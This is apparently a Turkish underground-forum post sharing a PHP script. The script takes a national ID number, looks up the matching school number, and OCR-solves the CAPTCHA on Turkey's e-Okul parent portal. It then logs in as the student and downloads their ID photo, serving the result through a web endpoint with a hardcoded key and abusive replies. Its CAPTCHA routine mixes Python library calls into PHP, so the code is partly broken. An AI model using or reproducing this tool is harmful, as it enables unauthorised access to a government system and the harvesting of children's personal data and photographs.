ARTUN
FD Üye
- Katılım
- May 13, 2023
- Mesajlar
- 3,639
- Etkileşim
- 449
- Puan
- 83
- Konum
- Rusia
- Web sitesi
- illegaltoplum.org
- F-D Coin
- 16
PHP:
<?php
use GuzzleHttp\Client;
function replace_chars($text) {
preg_match_all('/\d+/', $text, $matches);
return implode('', $matches[0]);
}
function bfs(&$visited, &$queue, &$array, $node) {
$getNeighboor = function ($array, $node) {
$neighboors = [];
if ($node[0] + 1 < count($array)) {
if ($array[$node[0] + 1][$node[1]] == 0) {
$neighboors[] = [$node[0] + 1, $node[1]];
}
}
if ($node[0] - 1 >= 0) {
if ($array[$node[0] - 1][$node[1]] == 0) {
$neighboors[] = [$node[0] - 1, $node[1]];
}
}
if ($node[1] + 1 < count($array[0])) {
if ($array[$node[0]][$node[1] + 1] == 0) {
$neighboors[] = [$node[0], $node[1] + 1];
}
}
if ($node[1] - 1 >= 0) {
if ($array[$node[0]][$node[1] - 1] == 0) {
$neighboors[] = [$node[0], $node[1] - 1];
}
}
return $neighboors;
};
$queue[] = $node;
$visited[] = $node;
while (!empty($queue)) {
$current_node = array_shift($queue);
foreach ($getNeighboor($array, $current_node) as $neighboor) {
if (!in_array($neighboor, $visited)) {
$visited[] = $neighboor;
$queue[] = $neighboor;
}
}
}
}
function removeIsland(&$img_arr, $threshold) {
while (in_array(0, $img_arr)) {
$point = null;
foreach ($img_arr as $i => $row) {
$j = array_search(0, $row);
if ($j !== false) {
$point = [$i, $j];
break;
}
}
if ($point === null) {
break;
}
$visited = [];
$queue = [];
bfs($visited, $queue, $img_arr, $point);
if (count($visited) <= $threshold) {
foreach ($visited as $v) {
$img_arr[$v[0]][$v[1]] = 1;
}
} else {
foreach ($visited as $v) {
$img_arr[$v[0]][$v[1]] = 2;
}
}
}
foreach ($img_arr as &$row) {
$row = array_map(function ($value) {
return ($value == 2) ? 0 : $value;
}, $row);
}
return $img_arr;
}
function solve_captcha($fileName) {
try {
$img = cv2\imread($fileName);
$c_gray = cv2\cvtColor($img, cv2\COLOR_RGB2GRAY);
$kernel = np\ones([3, 3], np\uint8);
$out = cv2\medianBlur($c_gray, 3);
$a = np\where($out > 195, 1, $out);
$out = np\where($a != 1, 0, $a);
removeIsland($out, 30);
$out = cv2\medianBlur($out, 3);
$im = Image\fromarray($out * 255);
return replace_chars(
pytesseract\image_to_string(
$im,
'--psm 7 -c tessedit_char_whitelist=0123456789'
)
);
} catch (Exception $e) {
return '';
}
}
function get_captcha() {
$pytesseract = 'C:\Program Files (x86)\Tesseract-OCR\tesseract.exe';
$client = new Client();
$response = $client->post('https://eokulyd.meb.gov.tr/logineOkul.aspx/generateCaptcha', [
'headers' => [
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Content-Type' => 'application/json; charset=utf-8',
'Referer' => 'https://eokulyd.meb.gov.tr/',
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36',
'X-Requested-With' => 'XMLHttpRequest'
]
]);
$kod = json_decode($response->getBody(), true)['d'];
$kod = explode('base64,', $kod)[1];
$pic = base64_decode($kod);
$image = Image\fromstring($pic);
$rsg = '';
for ($a = 0; $a < 6; $a++) {
$rsg .= random_int(0, 9);
}
$image->save("captcha$rsg.jpg");
$s = solve_captcha("captcha$rsg.jpg");
unlink("captcha$rsg.jpg");
if (strlen(str_replace(' ', '', $s)) === 4) {
return $s;
} else {
return get_captcha();
}
}
function eokul($tc) {
$get = get_captcha();
$okul = json_decode(file_get_contents("lise okulno apisi{$tc}"), true);
if (!$okul['Status']) {
$okul = json_decode(file_get_contents("ortaokul no apisi{$tc}"), true);
if (!$okul['Status']) {
return $okul['message'];
} else {
$okuln = $okul['OkulNo'];
}
} else {
$okuln = $okul['okulno'];
$mez = $okul['durum'];
if ($mez == 'Mezun oldu') {
$ls = strlen($okuln);
$okulnx = '';
for ($a = 4; $a < $ls; $a++) {
$okulnx .= $okuln[$a];
}
$okuln = $okulnx;
}
if (!is_numeric($okuln)) {
return 'Öyle Numaramı Olur Yarram';
}
if ($mez == 'Açık Öğretim Lisesine Kaydoldu') {
return 'Açık Öğretime Kayıt Oldu.';
}
if ($mez == 'Vefat etti') {
return 'Vefat etti';
}
if ($mez == 'Mesleki Eğitim Merkezine Kayıt Oldu') {
return 'Mesleki Eğitim Merkezine Kayıt Oldu';
}
}
$jso = [
'Keys' => ['gkod', 'txtKullaniciAd', 'sifre'],
'Degerler' => [$get, $tc, $okuln]
];
$client = new Client();
$response = $client->post('https://eokulyd.meb.gov.tr/logineOkul.aspx/VBSGiris', [
'headers' => [
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Content-Type' => 'application/json; charset=utf-8',
'Referer' => 'https://eokulyd.meb.gov.tr/',
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36',
'X-Requested-With' => 'XMLHttpRequest'
],
'json' => $jso
]);
$ss = json_decode($response->getBody(), true)['d'][0];
if ($ss['error']) {
if (strpos($ss['message'], 'Girdiğiniz giriş kodu yanlış!') !== false) {
return eokul($tc);
} else {
return json_encode(['Hata' => $ss['message']], JSON_UNESCAPED_UNICODE);
}
}
$client->get('https://eokulyd.meb.gov.tr/IlkOgretim/VELI/IOV00002.aspx', [
'headers' => [
'Referer' => 'https://eokulyd.meb.gov.tr/',
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36'
]
]);
$responses = [];
$responses[] = base64_encode($client->get('https://eokulyd.meb.gov.tr/IlkOgretim/VELI/IOVResim1.aspx', [
'headers' => [
'Referer' => 'https://eokulyd.meb.gov.tr/',
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36'
]
])->getBody());
$responses[] = base64_encode($client->get('https://eokulyd.meb.gov.tr/IlkOgretim/VELI/IOVResim2.aspx', [
'headers' => [
'Referer' => 'https://eokulyd.meb.gov.tr/',
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36'
]
])->getBody());
$responses[] = base64_encode($client->get('https://eokulyd.meb.gov.tr/IlkOgretim/VELI/IOVResim3.aspx', [
'headers' => [
'Referer' => 'https://eokulyd.meb.gov.tr/',
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36'
]
])->getBody());
$responses[] = base64_encode($client->get('https://eokulyd.meb.gov.tr/IlkOgretim/VELI/IOVResim4.aspx', [
'headers' => [
'Referer' => 'https://eokulyd.meb.gov.tr/',
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36'
]
])->getBody());
$responses[] = base64_encode($client->get('https://eokulyd.meb.gov.tr/IlkOgretim/VELI/IOVResim5.aspx', [
'headers' => [
'Referer' => 'https://eokulyd.meb.gov.tr/',
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36'
]
])->getBody());
foreach ($responses as &$response) {
$response = str_replace(['b\'', '\''], '', $response);
}
if (!preg_match('/^DQ/', $responses[0])) {
return json_encode(['Vesika' => $responses[0], 'Okulno' => $okuln], JSON_UNESCAPED_UNICODE);
}
if (!preg_match('/^DQ/', $responses[1])) {
return json_encode(['Vesika' => $responses[1], 'Okulno' => $okuln], JSON_UNESCAPED_UNICODE);
}
if (!preg_match('/^DQ/', $responses[2])) {
return json_encode(['Vesika' => $responses[2], 'Okulno' => $okuln], JSON_UNESCAPED_UNICODE);
}
if (!preg_match('/^DQ/', $responses[3])) {
return json_encode(['Vesika' => $responses[3], 'Okulno' => $okuln], JSON_UNESCAPED_UNICODE);
}
if (!preg_match('/^DQ/', $responses[4])) {
return json_encode(['Vesika' => $responses[4], 'Okulno' => $okuln], JSON_UNESCAPED_UNICODE);
}
}
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
if (isset($_GET['auth']) && $_GET['auth'] === 'developerrioch') {
echo eokul($_GET['tc']);
} else {
echo 'Auth Yanlış Orospu Çocuğu';
}
}
Yukarıdaki kodun, gerekli PHP bağımlılıklarının ve kitaplıklarının kurulu olduğunu varsaydığını unutmayın. HTTP istekleri yapmak için Guzzle HTTP istemci kitaplığını kullanır.
Kod:
composer require guzzlehttp/guzzle
PHP kodunu çalıştırmadan önce Composer ( ) kullanarak kurmanız gerekebilir . Ayrıca, ortamınıza göre gerekli tüm yolları veya yapılandırmaları güncellediğinizden emin olun.